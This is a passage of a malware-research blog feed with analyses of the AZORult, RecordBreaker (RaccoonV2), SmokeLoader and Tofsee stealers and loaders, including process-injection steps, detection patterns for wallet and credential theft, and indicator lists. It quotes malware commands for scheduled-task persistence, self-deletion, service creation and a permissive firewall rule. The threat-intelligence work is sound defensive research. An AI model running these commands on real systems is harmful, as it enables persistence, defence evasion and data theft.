(ChildPrc) cmd.exe | powershell.exe &gt; (cmd contains) \Resiliency &#x2F;f(PrntPrc) Winword|Excel | TempFile &gt; (ChildPrc) cmd.exe | powershell.exe &gt; (cmd contains) \File MRU &#x2F;v<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Persistence:</p><pre class="line-numbers language-none"><code class="language-none">(Cmd) schtasks &#x2F;create &#x2F;tn &#x2F;tr &quot;&lt;FilePath&gt;&quot; &#x2F;sc minute &#x2F;mo 1 &#x2F;F<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Timeout | Ping abuse to auto-delete:</p><pre class="line-numbers language-none"><code class="language-none">(Cmd) cmd.exe &#x2F;c C:\Windows\system32\timeout.exe 3 &amp; del &quot;&lt;FilePath&gt;&quot;(Cmd) cmd.exe &#x2F;c ping 127.0.0.1 &amp;&amp; del &quot;C:\Users\admin\AppData\Local\Temp\&lt;FolderPath&gt;\&lt;FileName&gt;.exe&quot; &gt;&gt; NUL<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Suspicious file reading sensitive information:</p><pre class="line-numbers language-none"><code class="language-none">(Path Temp|Roaming|ProgramData)Prc &gt; ReadFile &gt; (Path contains) \Wallet\ | \Wallets\ | \Recentservers.xml | \accounts.xml(Path Temp|Roaming|ProgramData)Prc &gt; QueryReg &gt; (Reg contains) \monero | \Bitcoin | \BitCore | \LiteCoin | \WinSCP | \Url History <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><pre class="line-numbers language-none"><code class="language-none">8424aa8b6fda143bd0e2e82ea906b2aee8cf49e416308cd92bd76bdcd46b866f38c78ebf970f2fc711eddcfa9ab6562c8ccbcfb053e5ececaa695650cf7d872797710410be07f6ab12c607e9378bb399bdbe3012da245805212e2b1995065c17Fd8deb7f3c15bd91961790834864db01b5459a019777266c919465b0cac3751f9af44ae397fce9e4da5effb82fcecaeadc7dcb412d030c5e0e135639b3686efb37d4d7a7b84e4f6ead2e950ba252c23fa360a3176f49184942da3046fa693452C7930d104f9f1e522835dcbd6aecd707b6bdc27ec4f34149d32b90978e4a6878Bllsl2[.]shopBllsl2[.]shop&#x2F;bll&#x2F;index.phpNghfh[.]comNghfh[.]com&#x2F;em&#x2F;index.php171.22.30[.]164&#x2F;standright&#x2F;index.php85.31.45[.]29&#x2F;ongod&#x2F;index.php64.52.171[.]230&#x2F;index.php209.208.65[.]177&#x2F;index.php185.225.73[.]49&#x2F;office&#x2F;index.phpDomcomp[.]infoDomcomp[.]info&#x2F;1210776429.phparthurcambell.ac[.]ugarthurcambell.ac[.]ug&#x2F;azne.exeNanaa[.]tech&#x2F;index.phpmovescx[.]topcointra[.]ac[.]ugsafetygear[.]pkscientific[.]pkkarimgousa[.]ugmistitis[.]uggoldrush[.]ugbeachwood[.]ugcitypharmacylv[.]comddlakava[.]ac[.]ugcracksmsa[.]uglastimaners[.]ugmarksidfgs[.]ugkenmil.ac[.]ug<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;AZORult is one of the best known malware within the Stealer family. It is usually sold on Russian forums for prices ranging up to $100. This malware has been used by a large number of important threat actors, including some dedicated to crime such as FIN11 or TA505 (GracefulSpider) or others that are part of a state-sponsored model such as GorgonGroup from Pakistan.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This malware usually starts from an initial point as documents via Spear-Phishing or compromised web pages and is characterized by performing different file drops that later will execute and check the connection to the C&amp;amp;C, after this, it will steal information and create persistence or a backdoor to, before performing the exfiltration of the data, have opportunities to persist in the system and thus, the actor continue obtaining information from the system to which the affected computer belongs and sometimes pivot.&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Stealer" scheme="https://rexorvc0.com/tags/Stealer/"/>
    
    <category term="Downloader" scheme="https://rexorvc0.com/tags/Downloader/"/>
    
  </entry>
  
  <entry>
    <title>RecordBreaker | RaccoonV2</title>
    <link href="https://rexorvc0.com/2022/10/03/RecordBreaker/"/>
    <id>https://rexorvc0.com/2022/10/03/RecordBreaker/</id>
    <published>2022-10-03T06:00:00.000Z</published>
    <updated>2025-03-30T20:23:51.593Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>RecordBreaker or RacoonStealerV2 is the new version of the stealer Racoon that we can buy as malware-as-a-service at the black markets under $300. Widely used in mass campaigns or used by criminal groups where they try to infect repositories or attach this malware usually compressed in ZIP&#x2F;RAR format. Its main objective is to reach the largest number of victims and contains different phases including process injection, binary downloading and information theft.</em></p><span id="more"></span><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>RecordBreaker usually appears in infected repositories or in attachments as a compressed file that when opened will execute a binary, which depending on the version, will make connections outside in different ways in order to geolocate, check for internet connection or download files, if this phase is fulfilled, it will execute an injection in a legitimate binary, usually related to .NET as RegAsm, InstallUtil or Regsvcs from where it will perform the information theft.</p><p><img src="https://user-images.githubusercontent.com/91592110/193622883-b7c05e8b-f640-40dd-aea7-253e3e333fb9.png" alt="image"></p><p>An example of execution flow is the following in which after a zip, a binary is executed that makes a request to a malicious IP and then launches a sleep encoded of 12 seconds to inject RegAsm.exe</p><p><img src="https://user-images.githubusercontent.com/91592110/193624249-b3b4d9a4-bf6d-4768-a1e6-729731d2ddf7.png" alt="image"></p><p>In some versions it performs fake PNG&#x2F;JPG downloads, if it fails to make the connection, the next phase is not performed.</p><p><img src="https://user-images.githubusercontent.com/91592110/193624765-df4165ac-a11f-40ed-8341-67557c14fc44.png" alt="image"></p><p>RecordBreaker generates persistence by creating a task with a name similar to the structure of a CLSID</p><p><img src="https://user-images.githubusercontent.com/91592110/193625182-99dbf25c-1837-4d64-b3e6-ff633c885e30.png" alt="image"></p><p>Task name example:</p><pre class="line-numbers language-none"><code class="language-none">\&#123;0A2620E2-3469-4C1A-AD19-BD835A6FA571&#125;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>After this initial phase, it performs an injection, commonly using processes related to .NET, we can see how it will perform a process suspension, and then write in the (WriteProcessMemory) modify the thread context to get all the info of this (SetThreadContext) and when it has done all the operation release the thread in which it is writing.</p><p><img src="https://user-images.githubusercontent.com/91592110/193626223-03d7dacf-e53e-457b-b320-38335471a8d3.png" alt="image"></p><p>Processes to be considered for injection:</p><blockquote><ul><li>RegSvcs.exe</li><li>RegAsm.exe</li><li>AppLaunch.exe</li><li>InstallUtil.exe</li><li>aspnet_compiler.exe</li></ul></blockquote><p>Once injected into the legitimate process, RecordBreaker will start working, in the first phase, it will resolve imports, since by itself, it only has the ability to load other APIs&#x2F;libraries with <em>GetProcAddress</em> + <em>LoadLibraryW</em>. When it has all the new libraries and APIs loaded, we will get a better understanding of the code, and the malware, new capabilities.</p><p><img src="https://user-images.githubusercontent.com/91592110/193627753-deba8711-f8a2-4754-ba95-9474d86713c7.png" alt="image"></p><p>We can see how it performs a reinfection control using Mutex with a hardcoded string</p><p><img src="https://user-images.githubusercontent.com/91592110/193628250-8c7c8255-f58d-431d-b12e-674a5dc34f0c.png" alt="image"></p><p>And we can see how it obtains data that will be used later encrypted in RC4.</p><p><img src="https://user-images.githubusercontent.com/91592110/193628432-b8b24203-0a2e-4c4f-a545-6c5b309d0613.png" alt="image"></p><p>After a decryption phase, it collects data from the machine, user, search engines, etc. Which it will collect on the basis of an internal configuration.</p><p>In this phase, we can also see, depending on versions, how it performs download requests to malicious IPs to bring more functionalities to the code.</p><p><img src="https://user-images.githubusercontent.com/91592110/193629025-5883e72f-9933-4eaf-94f8-bd3b2d3f2aa2.png" alt="image"></p><p>To obtain the data, RecordBreaker will use SQLite to perform queries and obtain all the information it is interested in, and then save it in files that it will send to the C&amp;C.</p><p><img src="https://user-images.githubusercontent.com/91592110/193629354-02df0565-2a14-4855-90e2-3bd570b2bf9b.png" alt="image"></p><p>The main information that RecordBreaker usually steals is:</p><blockquote><ul><li>Browser (Cookies, User info, Passwords)</li><li>Telegram info</li><li>Bank Information (Cards&#x2F;Accounts)</li><li>CrytpoWallets</li></ul></blockquote><p>All this information will be sent to a C&amp;C server and since you have performed a persistence, it can continue to increase this information :)</p><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><h3 id="SHA256"><a href="#SHA256" class="headerlink" title="_SHA256"></a>_SHA256</h3><pre class="line-numbers language-none"><code class="language-none">502e941d65f743b781b0214c9c37b8d4cca4b27fa7d62be943a63a9de93812d37f2e0645947bc96cd2f5edd2260db48f09102dcfd0fcd85896d287c1b621770d7dc73e29c582c16283115de0c5d03ecc102b47b82f4b4e957f2630d935967b61B5137e4be20605c7ad8b5bc1045210c9c42ae4190be76aab1bc72e0a71c703d2Ba69e1ed08c7288821223595c9b220bc5c53d0485930958a1db415a3f7f56945767cdc4f8adf3bdfeec2879b0976476dcc0aeeeee5e524d3c2e4ade70c181e9c207256464e91fde4a35aad23a7a56ef9f9438cd3ef946418f6e06a00e70d7808D184612e2f0b0b065986b94869296330d56e356e2d1ef077461e064bdcb4d3a20050ab6912e9c63bb65930ef52094fca855f8dab9210f74b1d9e2c6c61c9d5b0dba0be52e9c4d97b164f7c131710f4761b16b2c4ddacafe5cfe10bfbc6148c3c3bf0e1d823e337ba4372bd55bb57d93789bda09c5bf3d8b82a308781c8f9a09f3339d515567a632170ca67cf4ee006f24166f9fb47b317b44abada6f5174d1f969eac55ff687843f9d856e7facdef36d1c53faa5df6ff3eab874a1426a5efcea4dd0e5762e6ae6553863f594262e8a1d3f48635d1f49ced7975fc5842fa69a14<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="IP"><a href="#IP" class="headerlink" title="_IP"></a>_IP</h3><pre class="line-numbers language-none"><code class="language-none">89.208.104.4688.119.170.24185.192.63.46206.166.251.254172.111.36.191102.130.114.18591.201.25.17294.131.107.239193.106.191.223<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="Domains"><a href="#Domains" class="headerlink" title="_Domains"></a>_Domains</h3><pre class="line-numbers language-none"><code class="language-none">http:&#x2F;&#x2F;rgyui[.]tophttp:&#x2F;&#x2F;acacaca[.]org<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;RecordBreaker or RacoonStealerV2 is the new version of the stealer Racoon that we can buy as malware-as-a-service at the black markets under $300. Widely used in mass campaigns or used by criminal groups where they try to infect repositories or attach this malware usually compressed in ZIP&amp;#x2F;RAR format. Its main objective is to reach the largest number of victims and contains different phases including process injection, binary downloading and information theft.&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Stealer" scheme="https://rexorvc0.com/tags/Stealer/"/>
    
  </entry>
  
  <entry>
    <title>SmokeLoader</title>
    <link href="https://rexorvc0.com/2022/08/29/SmokeLoader/"/>
    <id>https://rexorvc0.com/2022/08/29/SmokeLoader/</id>
    <published>2022-08-29T06:00:00.000Z</published>
    <updated>2025-03-30T20:23:45.989Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>SmokeLoader is a malware that generally acts as a backdoor and is commonly used as a loader for other malware. Attributed to the criminal group Smoky Spider, a group that uses SmokeLoader and Sasfis, loader and downloader respectively. SmokeLoader has been used as a bot in infrastructures and contains strong evasion capabilities as well as Anti-Analysis, Anti-VM and Anti-DBG techniques.</em></p><span id="more"></span><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>SmokeLoader appears on systems usually through phishing, although it can be loaded by other PUP&#x2F;PUA or malware. The main execution will revolve around a document that will spawn the SmokeLoader which will run, in most of its versions, a version of itself in a suspended state to inject code, after which it will execute an <em>explorer.exe</em> that it will inject again in order to perform the malicious C&amp;C actions or download other files using legitimate software.</p><p><img src="https://user-images.githubusercontent.com/91592110/187239221-5968e49f-3684-4094-8de3-8ac597abaa7b.png" alt="image"></p><p>The samples that have been found have in most cases been detected as packed, due to the high level of entropy contained in their sections.</p><p><img src="https://user-images.githubusercontent.com/91592110/187241303-3a2dffb6-1847-44a0-9bd1-a31e73c1d1bb.png" alt="image"></p><p>At the initial point, we see how it tries to load libraries in RunTime, something really useful since it prevents us from being able to discern its intentions if we perform a basic static analysis, so it will obtain new functionalities during its execution.</p><p><img src="https://user-images.githubusercontent.com/91592110/187241924-4a02b64a-3d96-4eb3-a82d-d14aba87eecd.png" alt="image"></p><p>In some of the techniques used to hinder the analysis, such as code obfuscation, we find different hidden calls, as well as abuses of RET to reach calls that we will not see statically.</p><p><img src="https://user-images.githubusercontent.com/91592110/187242148-842d7a21-3762-435d-9dd8-483f42b86854.png" alt="image"></p><p>As mentioned above, it fetches libraries during runtime and is dedicated to resolving APIs that it could use later on</p><p><img src="https://user-images.githubusercontent.com/91592110/187242691-ca58c58d-59ce-49bb-b3f4-9ea0698c57bc.png" alt="image"></p><p>At all times, it has control over what is running on the machine, as it subsequently performs various Anti-Vm and Anti-dbg techniques, so having all running processes mapped is always a good technique.</p><p><img src="https://user-images.githubusercontent.com/91592110/187243583-2b3d9f16-1b2e-437c-a94d-91caed2f5f0c.png" alt="image"></p><p>After this, it starts loading APIs that will serve it moments later, in which we will see a routine that will be loading from memory and using LoadLibrary + GetProcAddress</p><p><img src="https://user-images.githubusercontent.com/91592110/187243708-dd1c7f62-6843-4936-927d-d8ba5a2e5034.png" alt="image"></p><p>APIs:</p><pre class="line-numbers language-none"><code class="language-none">CreateFileACreateWindowExACreateProcessAWriteProcessMemoryResumeThreadDefWindowProcANtWriteVirtualMemoryRegisterClassExAGetStartupInfoASetThreadContextGetCommandLineAPostMessageAVirtualAllocExCloseHandleVirtualAllocVirtualFreeVirtualProtectExExitProcessGetMessageExtraInfoWaitForSingleObjectNtUnmapViewOfSectionMessageBoxAReadProcessMemoryGetThreadContextWriteFileGetModuleFileNameAGetFileAttributesAWinExecGetMessageA<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Once it has the libraries, APIs and processes controlled, it creates a process in suspended state, for this it uses CreateProcessInternalA that will call CreateProcessInternalW entering 0x04 in dwCreationflags to create the process in suspended state.</p><p><img src="https://user-images.githubusercontent.com/91592110/187244113-325b1c03-7162-452c-9851-42abbfe8d174.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/187244358-62cc2b27-184a-4ccd-aadf-4a239460eb55.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/187244373-7c8eaa92-3f6e-4ec6-93df-9e95f94efc93.png" alt="image"></p><p>Once the process is created in a suspended state, it proceeds to introduce the binary inside the previously spawned process, which, through ProcessHollowing, will unmap data from itself, to write the binary inside, this is usually done through ZwUnmapViewOfSection + VirtualAlloc + ZwWriteVirtualMemory, once introduced into the memory of the process in suspension, it will stop being suspended and will execute it, so the memory file will be detonated.</p><p><img src="https://user-images.githubusercontent.com/91592110/187244878-b65d2548-6a5b-40c2-bfe1-962619351f4d.png" alt="image"></p><p>[ The binary extracted from memory, which will inject explorer.exe, is very interesting, we will follow soon :)  ]</p><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><h3 id="SHA256"><a href="#SHA256" class="headerlink" title="_SHA256"></a>_SHA256</h3><pre class="line-numbers language-none"><code class="language-none">Ebdebba349aba676e9739df18c503ab8c16c7fa1b853fd183f0a005c0e4f68aeD618d086cdfc61b69e6d93a13cea06e98ac2ad7d846f044990f2ce8305fe8d1bEe8f0ff6b0ee6072a30d45c135228108d4c032807810006ec77f2bf72856e04a6b48d5999d04db6b4c7f91fa311bfff6caee938dd50095a7a5fb7f222987efa3B961d6795d7ceb3ea3cd00e037460958776a39747c8f03783d458b38daec802502083f46860f1ad11e62b2b5f601a86406f7ee3c456e6699ee2912c5d1d89cb9059d615ce6dee655959d7feae7b70f3b7c806f3986deb1826d01a07aec5a39cf5318751b75d8c6152d90bbbf2864558626783f497443d4be1a003b64bc2acbc279ae89733257378139cf3bdce3a30802818ca1a12bb2343e0b9d0f51f8af1f10F92523fa104575e0605f90ce4a75a95204bc8af656c27a04aa26782cb64d938d<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="IP"><a href="#IP" class="headerlink" title="_IP"></a>_IP</h3><pre class="line-numbers language-none"><code class="language-none">216.128.137.318.209.71.53<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h3 id="Domains"><a href="#Domains" class="headerlink" title="_Domains"></a>_Domains</h3><pre class="line-numbers language-none"><code class="language-none">host-file-host6[.]comhost-host-file8[.]comfiskahlilian16[.]toppaishancho17[.]topydiannetter18[.]topazarehanelle19[.]topquericeriant20[.]topxpowebs[.]gavenis[.]mltootoo[.]gaeyecosl[.]gabullions[.]tkmizangs[.]twmbologwuholing[.]co[.]ugquadoil[.]ru<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;SmokeLoader is a malware that generally acts as a backdoor and is commonly used as a loader for other malware. Attributed to the criminal group Smoky Spider, a group that uses SmokeLoader and Sasfis, loader and downloader respectively. SmokeLoader has been used as a bot in infrastructures and contains strong evasion capabilities as well as Anti-Analysis, Anti-VM and Anti-DBG techniques.&lt;/em&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Downloader" scheme="https://rexorvc0.com/tags/Downloader/"/>
    
    <category term="Loader" scheme="https://rexorvc0.com/tags/Loader/"/>
    
    <category term="Backdoor" scheme="https://rexorvc0.com/tags/Backdoor/"/>
    
  </entry>
  
  <entry>
    <title>Tofsee</title>
    <link href="https://rexorvc0.com/2022/08/07/Tofsee/"/>
    <id>https://rexorvc0.com/2022/08/07/Tofsee/</id>
    <published>2022-08-07T06:00:00.000Z</published>
    <updated>2025-03-30T20:23:31.249Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p><em>Tofsee is a malware used for mass campaigns, which does not have an associated group or actor. It has gone through different phases, but has generally been used to create Botnets or SpamBots, as well as mining actions. The starting point of Tofsee is usually a Loader or an email using the SpearPhishing technique that will launch the malware. It has been in all its stages a really worked malware, with code obfuscations, packaged samples, anti-analysis techniques, which led to a backdoor to perform minings taking advantage of the botnet features or to perform Spam.</em></p><span id="more"></span><h1 id="Technical-Anlysis"><a href="#Technical-Anlysis" class="headerlink" title="_Technical Anlysis"></a>_Technical Anlysis</h1><p>After the loader or phishing we would see Tofsee running on the computer, an overview of how the current versions of Tofsee work can be seen in the following schematic diagram</p><p><img src="https://user-images.githubusercontent.com/91592110/183301004-460ecac2-de36-4c90-bbb2-3d665c0ef7fb.png" alt="image"></p><p>The actual way of working of the current versions usually has different variations, but in essence it works similar, after the execution of Tofsee, a copy of itself is created in SysWow64 (or equivalent), which then moves to temporary folders, usually the sample of the temporary folder and the one of SysWow, will not have the same name. After this, it creates a service using sc.exe, usually with a name and&#x2F;or description related to elements of the network. Later, it makes modifications in the FireWall to add an svchost to a completely permissive rule, this svchost is the one that would have injected in the process. After this execution, you will be able to perform your tasks within an svchost which, observing processes would be difficult to discern also having permission to send and receive all types of traffic through the Firewall and with a service that allows us to launch the backdoor as if it were a system service.</p><pre class="line-numbers language-none"><code class="language-none">.├── (Parentprc) Tofsee.exe|     ├─ (Childprc) (Moved | Dropped) &lt;RandomName&gt;.exe|             ├─ (Childprc) Netsh&#x2F;cmd&#x2F;sc|             ├─ (Childprc) (Injected) Svchost |                     ├─ (Net) C&amp;C<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>A large number of samples have been reviewed to narrow down the current versions of tofsee as much as possible, an example of what we would see when viewing one of them in PEstudio would be as follows</p><p><img src="https://user-images.githubusercontent.com/91592110/183301107-e6b9b874-27fc-411b-ad82-5e0c9733b75d.png" alt="image"></p><p>At the first step, we see how it launches a copy of itself to SysWow64 which it then moves to a temporary folder, the commands used, launched by cmd.exe are the following:</p><pre class="line-numbers language-none"><code class="language-none">&quot;C:\Windows\System32\cmd.exe&quot; &#x2F;C mkdir C:\Windows\SysWOW64\&lt;File Dropped (itself)&gt;&quot;C:\Windows\System32\cmd.exe&quot; &#x2F;C move &#x2F;Y &quot;C:\Users\user\AppData\Local\Temp\&lt;random name&gt;&quot; C:\Windows\SysWOW64\&lt;File Dropped (itself)&gt;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/183301167-0903a506-59a7-4041-ba14-eb01d0254566.png" alt="image"></p><p>After having two files in different locations, it uses one of them (SysWow location) to make the modifications in the defenses, as well as the persistence using a service. For the creation of the service, we can see that it creates with own start a service “Wifi Support”, as we had commented before, usually it is habitual that it is related to something of the network, trying to avoid to be found.</p><p>The command used, launched by sc.exe is as follows:</p><pre class="line-numbers language-none"><code class="language-none">&quot;C:\Windows\System32\sc.exe&quot; create &lt;Name of file dropped&gt; binPath&#x3D; &quot;C:\Windows\SysWOW64\&lt;Path file moved&gt;\&lt;Random name&gt; &#x2F;d\&quot;C:\Users\&lt;username&gt;\Desktop\&lt;Random Name&gt;&quot;&quot; type&#x3D; own start&#x3D; auto DisplayName&#x3D; &quot;wifi support&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/183301204-2e5da69d-f222-4250-bc7d-05f83ef8ffb0.png" alt="image"></p><p>Once it has created the service,  It has ensured that the backdoor will remain on the computer launched as another service and going completely unnoticed, so need to modify FireWall rules to prevent its communications to the outside from having any problems. For this, it launches through netsh.exe the creation of a rule that allows all the traffic for a svchost process (the one that is injected). </p><p>The command used is:</p><pre class="line-numbers language-none"><code class="language-none">&quot;C:\Windows\System32\netsh.exe&quot; advfirewall firewall add rule name&#x3D;&quot;Host-process for services of Windows&quot; dir&#x3D;in action&#x3D;allow program&#x3D;&quot;C:\Windows\SysWOW64\svchost.exe&quot; enable&#x3D;yes<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/183301250-cc434e70-68f1-43dc-8a5e-ceda1fffb134.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/183301252-ea93585f-2a51-470d-a9ce-0333cdbfb5e5.png" alt="image"></p><p>In addition, we can see, that it enters it in exclusions in registry key, being the path with random name the place where it was previously self-dropped</p><p><img src="https://user-images.githubusercontent.com/91592110/183301277-258e0f5c-1482-40a7-b250-570810ddf4e4.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/183301279-22ef33e1-124b-4206-b19f-7cd6ef08f88b.png" alt="image"></p><p>While all the above processes are being launched, we have the other binary in a temporary path performing other actions, such as injecting an svchost, the same one we have seen that has been introduced in exclusions and a rule has been created in the FireWall. During a normal execution, we would find an svchost without a parent process, which, after looking at it in depth, we would see that it is another of the binaries launched by Tofsee by locating it by PID</p><p><img src="https://user-images.githubusercontent.com/91592110/183301407-cf23b299-1b0c-4ff6-9cf9-5d2320efb97b.png" alt="image"></p><p>This binary is the other binary that Tofsee worked with and had previously moved to %temp%.</p><p><img src="https://user-images.githubusercontent.com/91592110/183301423-29bbdd7f-d5ba-4712-8265-ca6ce4abf1ec.png" alt="image"></p><p>Once in this phase, you have the Tofsee functionalities inside a legitimate process, with persistence created and with fully open traffic on the FireWall that you will use to connect to a C&amp;C server.</p><p>The most common destinations in the campaigns used at recent months are the following (Russian or Chinese IPs&#x2F;domains are commonly used by Tofsee):</p><pre class="line-numbers language-none"><code class="language-none">svartalfheim.toplazystax.ru<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/183301459-911f0845-42e9-4bfa-9db7-ff8feb352951.png" alt="image"></p><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><h3 id="C-amp-C"><a href="#C-amp-C" class="headerlink" title="_C&amp;C"></a>_C&amp;C</h3><pre class="line-numbers language-none"><code class="language-none">svartalfheim.toplazystax.ru<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h3 id="SHA256"><a href="#SHA256" class="headerlink" title="_SHA256"></a>_SHA256</h3><pre class="line-numbers language-none"><code class="language-none">9ff3eb5bac86aef0116488ac380f9d7ea15d27f9d580462fcf3612293525f50f2f5b289a8dcb26ed9389a49687e513f162ed3145469a5cb90f0aab45c699c3d922179b5cece54e42dbc249c5112994e0e760c2435f3547579d04d19882b79b033c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4E64afadba25eededfb3259f10671cf5551e53341e13702489a7c334fcf6514b0A96edd53cb70eb51f8bb9fbd0b9d0777e6b65c5203fb3b73229431b49da155e4F6bf44f37a819ce566e217cf94a3de32a404cf303700f82788b44f9fde8e0937Ddaada491b8cf4d1187cb01078c5f3fd167e76c324d3e0db83753a6922e739f41dc4c40d2a971bcfba32e21ab5ff5c127aa1cea66a72176b753c8c9d0d54fc25820b43708e064c1a6eb1eeb411b011e900fcd162afdd55d077ef619777a9d12bD5a45f5fbe4d0679d208908a1282e6675456cf565b427d886cab0b2fdf92c21b5a3ac08cf1bdee0dfe30bcd306c5613a7526eda1a1eaec00d76f3681b25f86945b3ed204bf794afc4d32c750e74a219c4730b2a96ded36c6ea2753581158ab115b5cae86c3a28fc013bce2e327c424168e212220b8b284714bbccf9926e7cb6e5bb633fef2f50ca5ec2302ea37800f68c76596ef770c394e706f57a5d655feac5bcc5563c17c7805651b50c509b6862ef554948336fbec1f99f9059a65d6b7035c3b9c929cac14277c3f810b57a487a6093470e3b4fd56ac65ab2d3f6b4e9959460a0c6a2f32fd82774d45670a9110f046b3fbf4093d17ca378b0f4f63de6e0e93ead5f86a3eda573a375afebaa3651c2f48c4381e657a0819176a79843749cb40ca993b529a245ebf6ad5deb1b11beffc24a8ddd5c908e341ae886a2df3351cC526be053d1279fd214ac204c23ce79ee034af6d6213fff69f31a19a53f5bba246359601942519b156cf35e91a252abb4381c695ec053216efc948729d2eb2ab6644c412c44c8686437b1fa3ad6d5698c1071ac133ccd060b1062df37b081f1e9c2a732f02510a2524d1ffb52ea6c96a93c3ee6bb3ad777181596f370c030da3C5a593ba8d3006cbd55a0b41436e055eeed50a122b2a0f8d28fa30624565dc48B10c82428c7284ce3ab78edeaf6582fcbc93e3a647559fba49bdc1589df13ab9A5aaf507390c8ab2bd12849e68a740b19c97e5bfdfd3459ca0f120490fee3fd0e248be07f11c33ff0af5bdd36d2bca1ae9c392223bd5b14c600b15637e02c5f7a06f640a6317ffeaed88cf7a08c8680a4bc4abe69286bce68f03c19ba319e103<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="IP"><a href="#IP" class="headerlink" title="_IP"></a>_IP</h3><pre class="line-numbers language-none"><code class="language-none">31.41.244.12631.41.244.12731.41.244.12843.231.4.746.173.223.21298.136.96.76111.121.193.242<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
